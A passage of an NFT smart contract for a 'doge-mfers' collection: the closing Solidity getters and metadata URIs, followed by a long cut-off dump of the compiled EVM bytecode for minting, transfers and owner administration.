returns (uint256){ return _maxSupply; } function getCurrentSupply() public view returns (uint256){ return totalSupply(); } function getMintStatus() public view returns (bool) { return _isPublicMintEnabled; } function getFreeSupply() public view returns (uint256) { return _freeSupply; } function getFreeMintLimit() public view returns (uint256) { return _freeMintLimit; } function _baseURI() override internal pure returns (string memory) { return "https://mw9spidhbc.execute-api.us-east-1.amazonaws.com/dev/token/doge-mfers/"; } function contractURI() public pure returns (string memory) { return "https://mw9spidhbc.execute-api.us-east-1.amazonaws.com/dev/contract/doge-mfers"; } }
0x60806040526004361061021a5760003560e01c80636f8b44b011610123578063a22cb465116100ab578063c87b56dd1161006f578063c87b56dd14610763578063e8a3d485146107a0578063e985e9c5146107cb578063f2fde38b14610808578063f676308a146108315761021a565b8063a22cb46514610692578063b0505132146106bb578063b88d4fde146106e6578063bd2f6eb81461070f578063bd3e19d4146107385761021a565b80638da5cb5b116100f25780638da5cb5b146105de578063941ada0e1461060957806395d89b411461063457806397304ced1461065f5780639edcc3101461067b5761021a565b80636f8b44b01461054557806370a082311461056e578063715018a6146105ab5780637c928fe9146105c25761021a565b80633ccfd60b116101a657806344a0d68a1161017557806344a0d68a1461044c5780634c0f38c2146104755780634f3e1efc146104a05780634f6ccce7146104cb5780636352211e146105085761021a565b80633ccfd60b146103c55780633fa40f94146103dc5780634282b335146103f857806342842e0e146104235761021a565b806318160ddd116101ed57806318160ddd146102ed5780631865c57d1461031857806323b872dd146103485780632f745c591461037157806335133b40146103ae5761021a565b806301ffc9a71461021f57806306fdde031461025c578063081812fc14610287578063095ea7b3146102c4575b600080fd5b34801561022b57600080fd5b50610246600480360381019061024191906134cf565b61085a565b6040516102539190613a85565b60405180910390f35b34801561026857600080fd5b506102716109a4565b60405161027e9190613b01565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190613529565b610a36565b6040516102bb9190613a1e565b60405180910390f35b3480156102d057600080fd5b506102eb60048036038101906102e69190613442565b610abb565b005b3480156102f957600080fd5b50610302610bd4565b60405161030f9190613ea3565b60405180910390f35b34801561032457600080fd5b5061032d610bdd565b60405161033f96959493929190613aa0565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a919061332c565b610c1e565b005b34801561037d57600080fd5b5061039860048036038101906103939190613442565b610c2e565b6040516103a59190613ea3565b60405180910390f35b3480156103ba57600080fd5b506103c3610e2c565b005b3480156103d157600080fd5b506103da610ec5565b005b6103f660048036038101906103f19190613482565b610f91565b005b34801561040457600080fd5b5061040d611260565b60405161041a9190613ea3565b60405180910390f35b34801561042f57600080fd5b5061044a6004803603810190610445919061332c565b61126a565b005b34801561045857600080fd5b50610473600480360381019061046e9190613529565b61128a565b005b34801561048157600080fd5b5061048a611310565b6040516104979190613ea3565b60405180910390f35b3480156104ac57600080fd5b506104b561131a565b6040516104c29190613ea3565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190613529565b611329565b6040516104ff9190613ea3565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190613529565b61137c565b60405161053c9190613a1e565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190613529565b611392565b005b34801561057a57600080fd5b50610595600480360381019061059091906132bf565b611418565b6040516105a29190613ea3565b60405180910390f35b3480156105b757600080fd5b506105c0611501565b005b6105dc60048036038101906105d79190613529565b611589565b005b3480156105ea57600080fd5b506105f3611757565b6040516106009190613a1e565b60405180910390f35b34801561061557600080fd5b5061061e611781565b60405161062b9190613a85565b60405180910390f35b34801561064057600080fd5b50610649611798565b6040516106569190613b01565b60405180910390f35b61067960048036038101906106749190613529565b61182a565b005b34801561068757600080fd5b50610690611a1f565b005b34801561069e57600080fd5b506106b960048036038101906106b49190613402565b611ab8565b005b3480156106c757600080fd5b506106d0611c39565b6040516106dd9190613ea3565b60405180910390f35b3480156106f257600080fd5b5061070d6004803603810190610708919061337f565b611c43565b005b34801561071b57600080fd5b5061073660048036038101906107319190613529565b611c9f565b005b34801561074457600080fd5b5061074d611d25565b60405161075a9190613ea3565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190613529565b611d2f565b6040516107979190613b01565b60405180910390f35b3480156107ac57600080fd5b506107b5611dd6565b6040516107c29190613b01565b60405180910390f35b3480156107d757600080fd5b506107f260048036038101906107ed91906132ec565b611df6565b6040516107ff9190613a85565b60405180910390f35b34801561081457600080fd5b5061082f600480360381019061082a91906132bf565b611e8a565b005b34801561083d57600080fd5b5061085860048036038101906108539190613529565b611f82565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061092557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061098d57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061099d575061099c82612008565b5b9050919050565b6060600180546109b3906141ae565b80601f01602080910402602001604051908101604052809291908181526020018280546109df906141ae565b8015610a2c5780601f10610a0157610100808354040283529160200191610a2c565b820191906000526020600020905b815481529060010190602001808311610a0f57829003601f168201915b5050505050905090565b6000610a4182612072565b610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790613e83565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610ac68261137c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90613d63565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b5661207f565b73ffffffffffffffffffffffffffffffffffffffff161480610b855750610b8481610b7f61207f565b611df6565b5b610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90613c23565b60405180910390fd5b610bcf838383612087565b505050565b60008054905090565b600080600080600080600b60009054906101000a900460ff16600954600a54610c04610bd4565b600c54600d54955095509550955095509550909192939495565b610c29838383612139565b505050565b6000610c3983611418565b8210610c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7190613b23565b60405180910390fd5b6000610c84610bd4565b905060008060005b83811015610dea576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610d7e57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dd65786841415610dc7578195505050505050610e26565b8380610dd290614211565b9450505b508080610de290614211565b915050610c8c565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d90613e43565b60405180910390fd5b92915050565b610e3461207f565b73ffffffffffffffffffffffffffffffffffffffff16610e52611757565b73ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90613cc3565b60405180910390fd5b6000600b60006101000a81548160ff021916908315150217905550565b610ecd61207f565b73ffffffffffffffffffffffffffffffffffffffff16610eeb611757565b73ffffffffffffffffffffffffffffffffffffffff1614610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3890613cc3565b60405180910390fd5b610f49611757565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610f8e573d6000803e3d6000fd5b50565b60026008541415610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce90613e63565b60405180910390fd5b600260088190555060008282905011611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90613d43565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16611044611757565b73ffffffffffffffffffffffffffffffffffffffff1614806110725750600b60009054906101000a900460ff165b6110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890613e23565b60405180910390fd5b6000828290501180156110c8575060648282905011155b611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90613c03565b60405180910390fd5b600a54611127611115610bd4565b848490506126e090919063ffffffff16565b1115611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90613c43565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16611187611757565b73ffffffffffffffffffffffffffffffffffffffff1614806111c057506111bc828290506009546126f690919063ffffffff16565b3410155b6111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690613c63565b60405180910390fd5b60005b828290508110156112535761123f83838381811061122357611222614318565b5b905060200201602081019061123891906132bf565b600161270c565b50808061124b90614211565b915050611202565b5060016008819055505050565b6000600d54905090565b61128583838360405180602001604052806000815250611c43565b505050565b61129261207f565b73ffffffffffffffffffffffffffffffffffffffff166112b0611757565b73ffffffffffffffffffffffffffffffffffffffff1614611306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fd90613cc3565b60405180910390fd5b8060098190555050565b6000600a54905090565b6000611324610bd4565b905090565b6000611333610bd4565b8210611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b90613bc3565b60405180910390fd5b819050919050565b600061138782612721565b600001519050919050565b61139a61207f565b73ffffffffffffffffffffffffffffffffffffffff166113b8611757565b73ffffffffffffffffffffffffffffffffffffffff161461140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590613cc3565b60405180910390fd5b80600a8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148090613c83565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b61150961207f565b73ffffffffffffffffffffffffffffffffffffffff16611527611757565b73ffffffffffffffffffffffffffffffffffffffff161461157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613cc3565b60405180910390fd5b611587600061287c565b565b600260085414156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690613e63565b60405180910390fd5b60026008819055503373ffffffffffffffffffffffffffffffffffffffff166115f6611757565b73ffffffffffffffffffffffffffffffffffffffff1614806116245750600b60009054906101000a900460ff165b611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a90613e23565b60405180910390fd5b600c548161166f610bd4565b6116799190613f9d565b11156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190613de3565b60405180910390fd5b600d548111156116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f690613b43565b60405180910390fd5b60008111611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ba3565b60405180910390fd5b61174c3382612942565b600160088190555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600b60009054906101000a900460ff16905090565b6060600280546117a7906141ae565b80601f01602080910402602001604051908101604052809291908181526020018280546117d3906141ae565b80156118205780601f106117f557610100808354040283529160200191611820565b820191906000526020600020905b81548152906001019060200180831161180357829003601f168201915b5050505050905090565b60026008541415611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790613e63565b60405180910390fd5b6002600881905550600b60009054906101000a900460ff166118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613e23565b60405180910390fd5b6000811180156118d8575060648111155b611917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190e90613c03565b60405180910390fd5b600a54611934611925610bd4565b836126e090919063ffffffff16565b1115611975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196c90613c43565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16611994611757565b73ffffffffffffffffffffffffffffffffffffffff1614806119ca57506119c6816009546126f690919063ffffffff16565b3410155b611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613c63565b60405180910390fd5b611a13338261270c565b50600160088190555050565b611a2761207f565b73ffffffffffffffffffffffffffffffffffffffff16611a45611757565b73ffffffffffffffffffffffffffffffffffffffff1614611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9290613cc3565b60405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b611ac061207f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590613d03565b60405180910390fd5b8060066000611b3b61207f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611be861207f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611c2d9190613a85565b60405180910390a35050565b6000600c54905090565b611c4e848484612139565b611c5a84848484612960565b611c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9090613da3565b60405180910390fd5b50505050565b611ca761207f565b73ffffffffffffffffffffffffffffffffffffffff16611cc5611757565b73ffffffffffffffffffffffffffffffffffffffff1614611d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1290613cc3565b60405180910390fd5b80600d8190555050565b6000600954905090565b6060611d3a82612072565b611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613ce3565b60405180910390fd5b6000611d83612af7565b90506000815111611da35760405180602001604052806000815250611dce565b80611dad84612b17565b604051602001611dbe9291906139fa565b6040516020818303038152906040525b915050919050565b60606040518060800160405280604e8152602001614b76604e9139905090565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611e9261207f565b73ffffffffffffffffffffffffffffffffffffffff16611eb0611757565b73ffffffffffffffffffffffffffffffffffffffff1614611f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efd90613cc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d90613b63565b60405180910390fd5b611f7f8161287c565b50565b611f8a61207f565b73ffffffffffffffffffffffffffffffffffffffff16611fa8611757565b73ffffffffffffffffffffffffffffffffffffffff1614611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590613cc3565b60405180910390fd5b80600c8190555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061214482612721565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661216b61207f565b73ffffffffffffffffffffffffffffffffffffffff1614806121c7575061219061207f565b73ffffffffffffffffffffffffffffffffffffffff166121af84610a36565b73ffffffffffffffffffffffffffffffffffffffff16145b806121e357506121e282600001516121dd61207f565b611df6565b5b905080612225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221c90613d23565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228e90613ca3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fe90613be3565b60405180910390fd5b6123148585856001612c78565b6123246000848460000151612087565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600060018461252a9190613f9d565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612670576125a081612072565b1561266f576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126d88686866001612c7e565b505050505050565b600081836126ee9190613f9d565b905092915050565b600081836127049190614024565b905092915050565b60006127188383612942565b81905092915050565b612729613156565b61273282612072565b612771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276890613b83565b60405180910390fd5b60008290505b6000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612863578092505050612877565b50808061286f90614184565b915050612777565b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61295c828260405180602001604052806000815250612c84565b5050565b60006129818473ffffffffffffffffffffffffffffffffffffffff16613143565b15612aea578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026129aa61207f565b8786866040518563ffffffff1660e01b81526004016129cc9493929190613a39565b602060405180830381600087803b1580156129e657600080fd5b505af1925050508015612a1757506040513d601f19601f82011682018060405250810190612a1491906134fc565b60015b612a9a573d8060008114612a47576040519150601f19603f3d011682016040523d82523d6000602084013e612a4c565b606091505b50600081511415612a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8990613da3565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612aef565b600190505b949350505050565b60606040518060800160405280604c8152602001614b2a604c9139905090565b60606000821415612b5f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612c73565b600082905060005b60008214612b91578080612b7a90614211565b915050600a82612b8a9190613ff3565b9150612b67565b60008167ffffffffffffffff811115612bad57612bac614347565b5b6040519080825280601f01601f191660200182016040528015612bdf5781602001600182028036833780820191505090505b5090505b60008514612c6c57600182612bf8919061407e565b9150600a85612c07919061425a565b6030612c139190613f9d565b60f81b818381518110612c2957612c28614318565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612c659190613ff3565b9450612be3565b8093505050505b919050565b50505050565b50505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf190613e03565b60405180910390fd5b612d0381612072565b15612d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3a90613dc3565b60405180910390fd5b60008311612d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7d90613d83565b60405180910390fd5b612d936000858386612c78565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152505090506040518060400160405280858360000151612e909190613f57565b6fffffffffffffffffffffffffffffffff168152602001858360200151612eb79190613f57565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b8581101561312657818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46130c66000888488612960565b613105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130fc90613da3565b60405180910390fd5b818061311090614211565b925050808061311e90614211565b915050613055565b508060008190555061313b6000878588612c7e565b505050505050565b600080823b905060008111915050919050565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b60006131a361319e84613ee3565b613ebe565b9050828152602081018484840111156131bf576131be614385565b5b6131ca848285614142565b509392505050565b6000813590506131e181614acd565b92915050565b60008083601f8401126131fd576131fc61437b565b5b8235905067ffffffffffffffff81111561321a57613219614376565b5b60208301915083602082028301111561323657613235614380565b5b9250929050565b60008135905061324c81614ae4565b92915050565b60008135905061326181614afb565b92915050565b60008151905061327681614afb565b92915050565b600082601f8301126132915761329061437b565b5b81356132a1848260208601613190565b91505092915050565b6000813590506132b981614b12565b92915050565b6000602082840312156132d5576132d461438f565b5b60006132e3848285016131d2565b91505092915050565b600080604083850312156133035761330261438f565b5b6000613311858286016131d2565b9250506020613322858286016131d2565b9150509250929050565b6000806000606084860312156133455761334461438f565b5b6000613353868287016131d2565b9350506020613364868287016131d2565b9250506040613375868287016132aa565b9150509250925092565b600080600080608085870312156133995761339861438f565b5b60006133a7878288016131d2565b94505060206133b8878288016131d2565b93505060406133c9878288016132aa565b925050606085013567ffffffffffffffff8111156133ea576133e961438a565b5b6133f68782880161327c565b91505092959194509250565b600080604083850312156134195761341861438f565b5b6000613427858286016131d2565b92505060206134388582860161323d565b9150509250929050565b600080604083850312156134595761345861438f565b5b6000613467858286016131d2565b9250506020613478858286016132aa565b9150509250929050565b600080602083850312156134995761349861438f565b5b600083013567ffffffffffffffff8111156134b7576134b661438a565b5b6134c3858286016131e7565b92509250509250929050565b6000602082840312156134e5576134e461438f565b5b60006134f384828501613252565b91505092915050565b6000602082840312156135125761351161438f565b5b600061352084828501613267565b91505092915050565b60006020828403121561353f5761353e61438f565b5b600061354d848285016132aa565b91505092915050565b61355f816140b2565b82525050565b61356e816140c4565b82525050565b600061357f82613f14565b6135898185613f2a565b9350613599818560208601614151565b6135a281614394565b840191505092915050565b60006135b882613f1f565b6135c28185613f3b565b93506135d2818560208601614151565b6135db81614394565b840191505092915050565b60006135f182613f1f565b6135fb8185613f4c565b935061360b818560208601614151565b80840191505092915050565b6000613624602283613f3b565b915061362f826143a5565b604082019050919050565b6000613647601e83613f3b565b9150613652826143f4565b602082019050919050565b600061366a602683613f3b565b91506136758261441d565b604082019050919050565b600061368d602a83613f3b565b91506136988261446c565b604082019050919050565b60006136b0601a83613f3b565b91506136bb826144bb565b602082019050919050565b60006136d3602383613f3b565b91506136de826144e4565b604082019050919050565b60006136f6602583613f3b565b915061370182614533565b604082019050919050565b6000613719602883613f3b565b915061372482614582565b604082019050919050565b600061373c603983613f3b565b9150613747826145d1565b604082019050919050565b600061375f601283613f3b565b915061376a82614620565b602082019050919050565b6000613782602383613f3b565b915061378d82614649565b604082019050919050565b60006137a5602b83613f3b565b91506137b082614698565b604082019050919050565b60006137c8602683613f3b565b91506137d3826146e7565b604082019050919050565b60006137eb602083613f3b565b91506137f682614736565b602082019050919050565b600061380e602f83613f3b565b91506138198261475f565b604082019050919050565b6000613831601a83613f3b565b915061383c826147ae565b602082019050919050565b6000613854603283613f3b565b915061385f826147d7565b604082019050919050565b6000613877601b83613f3b565b915061388282614826565b602082019050919050565b600061389a602283613f3b565b91506138a58261484f565b604082019050919050565b60006138bd602383613f3b565b91506138c88261489e565b604082019050919050565b60006138e0603383613f3b565b91506138eb826148ed565b604082019050919050565b6000613903601d83613f3b565b915061390e8261493c565b602082019050919050565b6000613926601683613f3b565b915061393182614965565b602082019050919050565b6000613949602183613f3b565b91506139548261498e565b604082019050919050565b600061396c600d83613f3b565b9150613977826149dd565b602082019050919050565b600061398f602e83613f3b565b915061399a82614a06565b604082019050919050565b60006139b2601f83613f3b565b91506139bd82614a55565b602082019050919050565b60006139d5602d83613f3b565b91506139e082614a7e565b604082019050919050565b6139f481614138565b82525050565b6000613a0682856135e6565b9150613a1282846135e6565b91508190509392505050565b6000602082019050613a336000830184613556565b92915050565b6000608082019050613a4e6000830187613556565b613a5b6020830186613556565b613a6860408301856139eb565b8181036060830152613a7a8184613574565b905095945050505050565b6000602082019050613a9a6000830184613565565b92915050565b600060c082019050613ab56000830189613565565b613ac260208301886139eb565b613acf60408301876139eb565b613adc60608301866139eb565b613ae960808301856139eb565b613af660a08301846139eb565b979650505050505050565b60006020820190508181036000830152613b1b81846135ad565b905092915050565b60006020820190508181036000830152613b3c81613617565b9050919050565b60006020820190508181036000830152613b5c8161363a565b9050919050565b60006020820190508181036000830152613b7c8161365d565b9050919050565b60006020820190508181036000830152613b9c81613680565b9050919050565b60006020820190508181036000830152613bbc816136a3565b9050919050565b60006020820190508181036000830152613bdc816136c6565b9050919050565b60006020820190508181036000830152613bfc816136e9565b9050919050565b60006020820190508181036000830152613c1c8161370c565b9050919050565b60006020820190508181036000830152613c3c8161372f565b9050919050565b60006020820190508181036000830152613c5c81613752565b9050919050565b60006020820190508181036000830152613c7c81613775565b9050919050565b60006020820190508181036000830152613c9c81613798565b9050919050565b60006020820190508181036000830152613cbc816137bb565b9050919050565b60006020820190508181036000830152613cdc816137de565b9050919050565b60006020820190508181036000830152613cfc81613801565b9050919050565b60006020820190508181036000830152613d1c81613824565b9050919050565b60006020820190508181036000830152613d3c81613847565b9050919050565b60006020820190508181036000830152613d5c8161386a565b9050919050565b60006020820190508181036000830152613d7c8161388d565b9050919050565b60006020820190508181036000830152613d9c816138b0565b9050919050565b60006020820190508181036000830152613dbc816138d3565b9050919050565b60006020820190508181036000830152613ddc816138f6565b9050919050565b60006020820190508181036000830152613dfc81613919565b9050919050565b60006020820190508181036000830152613e1c8161393c565b9050919050565b60006020820190508181036000830152613e3c8161395f565b9050919050565b60006020820190508181036000830152613e5c81613982565b9050919050565b60006020820190508181036000830152613e7c816139a5565b9050919050565b60006020820190508181036000830152613e9c816139c8565b9050919050565b6000602082019050613eb860008301846139eb565b92915050565b6000613ec8613ed9565b9050613ed482826141e0565b919050565b6000604051905090565b600067ffffffffffffffff821115613efe57613efd614347565b5b613f0782614394565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613f62826140fc565b9150613f6d836140fc565b9250826fffffffffffffffffffffffffffffffff03821115613f9257613f9161428b565b5b828201905092915050565b6000613fa882614138565b9150613fb383614138565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613fe857613fe761428b565b5b828201905092915050565b6000613ffe82614138565b915061400983614138565b925082614019576140186142ba565b5b828204905092915050565b600061402f82614138565b915061403a83614138565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140735761407261428b565b5b828202905092915050565b600061408982614138565b915061409483614138565b9250828210156140a7576140a661428b565b5b828203905092915050565b60006140bd82614118565b9050919050565b60008115159050919050565b60007fffffffff00000000000000000000000000000000000000000000